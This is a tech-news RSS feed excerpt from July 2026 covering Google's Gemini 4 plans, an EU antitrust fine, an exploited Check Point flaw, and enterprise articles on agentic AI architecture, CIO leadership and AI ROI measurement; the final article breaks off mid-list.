<link>https://tsecurity.de/de/3688880/ai-nachrichten/google-ceo-pichai-says-geminis-next-leap-depends-on-building-much-larger-base-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688880/ai-nachrichten/google-ceo-pichai-says-geminis-next-leap-depends-on-building-much-larger-base-models/</guid>
<pubDate>Thu, 23 Jul 2026 13:37:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/04/google_gemini_optical_trick.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Alphabet has raised its 2026 investment forecast to as much as $205 billion, saying demand continues to outpace spending. Google Cloud grew 82 percent in the second quarter. CEO Sundar Pichai says Google needs a larger base model for its next leap in AI and has kicked off an ambitious Gemini 4 training run.</p>
<p>The article <a href="https://the-decoder.com/google-ceo-pichai-says-geminis-next-leap-depends-on-building-much-larger-base-models/">Google CEO Pichai says Gemini's next leap depends on building "much larger base models"</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[EU slaps Google with a $1 billion antitrust fine]]></title>
<description><![CDATA[The European Commission has fined Google $1 billion for giving its own services preferential treatment, and for preventing app developers directing users away from the Google Play store.The European Union is fining Google $1 billion - image credit: EUJust as US lawmakers ask Trump to investigate ...]]></description>
<link>https://tsecurity.de/de/3688841/ios-mac-os/eu-slaps-google-with-a-1-billion-antitrust-fine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688841/ios-mac-os/eu-slaps-google-with-a-1-billion-antitrust-fine/</guid>
<pubDate>Thu, 23 Jul 2026 13:18:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The European Commission has fined Google $1 billion for giving its own services preferential treatment, and for preventing app developers directing users away from the Google Play store.<br><br><div><img src="https://photos5.appleinsider.com/gallery/64368-134123-00-lede-EU-xl.jpg" alt="European Union flags waving in front of a modern glass building with a curved facade." height="720"><br><span>The European Union is fining Google $1 billion - image credit: EU</span></div><br>Just as US lawmakers ask Trump to investigate the EU's alleged "<a href="https://appleinsider.com/articles/26/07/22/lawmakers-want-trump-to-investigate-eus-anti-american-digital-markets-act">anti-American</a>" Digital Markets Act (DMA), the European Union has used that act to fine Google. The fine is 890 million euros ($1 billion), and it's the first time Google has been fined under the DMA.<br><br>The European Commission (EC) ruled that Google favors its own services over the equivalent from rivals, "thereby breaching its obligations under the DMA."<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/eu-slaps-google-with-a-1-billion-antitrust-fine?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245031?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Attackers exploit critical Check Point flaw to take over firewall management (CVE-2026-16232)]]></title>
<description><![CDATA[Attackers are exploiting a critical authentication bypass vulnerability (CVE-2026-16232) that affects Check Point Security Management and Multi-Domain Security Management, the management servers that push policy to Check Point security gateways (i.e., firewalls). “An unauthenticated attacker can ...]]></description>
<link>https://tsecurity.de/de/3688779/it-security-nachrichten/attackers-exploit-critical-check-point-flaw-to-take-over-firewall-management-cve-2026-16232/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688779/it-security-nachrichten/attackers-exploit-critical-check-point-flaw-to-take-over-firewall-management-cve-2026-16232/</guid>
<pubDate>Thu, 23 Jul 2026 13:02:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are exploiting a critical authentication bypass vulnerability (CVE-2026-16232) that affects Check Point Security Management and Multi-Domain Security Management, the management servers that push policy to Check Point security gateways (i.e., firewalls). “An unauthenticated attacker can obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration,” the company said. The vulnerability is being exploited, they confirmed, and a “handful” … <a href="https://www.helpnetsecurity.com/2026/07/23/check-point-vulnerability-cve-2026-16232/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/check-point-vulnerability-cve-2026-16232/">Attackers exploit critical Check Point flaw to take over firewall management (CVE-2026-16232)</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Tokenmaxxing: US-Militär verbrennt KI-Jahresbudget innerhalb eines Monats]]></title>
<description><![CDATA[Das Pentagon hatte Militärangehörigen unbegrenzte Token versprochen und diese zur KI-Nutzung gedrängt. (KI, Politik)]]></description>
<link>https://tsecurity.de/de/3688759/it-nachrichten/tokenmaxxing-us-militaer-verbrennt-ki-jahresbudget-innerhalb-eines-monats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688759/it-nachrichten/tokenmaxxing-us-militaer-verbrennt-ki-jahresbudget-innerhalb-eines-monats/</guid>
<pubDate>Thu, 23 Jul 2026 12:52:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Pentagon hatte Militärangehörigen unbegrenzte Token versprochen und diese zur KI-Nutzung gedrängt. (<a href="https://www.golem.de/specials/ki/">KI</a>, <a href="https://www.golem.de/specials/politik-recht/">Politik</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211193&amp;page=1&amp;ts=1784802901" alt="" width="1" height="1">]]></content:encoded>
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<title><![CDATA[Amazon's AGI department finds humans are optional]]></title>
<description><![CDATA[AI remains its biggest bet, Bezos brigade tells El Reg, even as another round of layoffs reaches the teams building it]]></description>
<link>https://tsecurity.de/de/3688633/it-nachrichten/amazons-agi-department-finds-humans-are-optional/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688633/it-nachrichten/amazons-agi-department-finds-humans-are-optional/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI remains its biggest bet, Bezos brigade tells El Reg, even as another round of layoffs reaches the teams building it]]></content:encoded>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



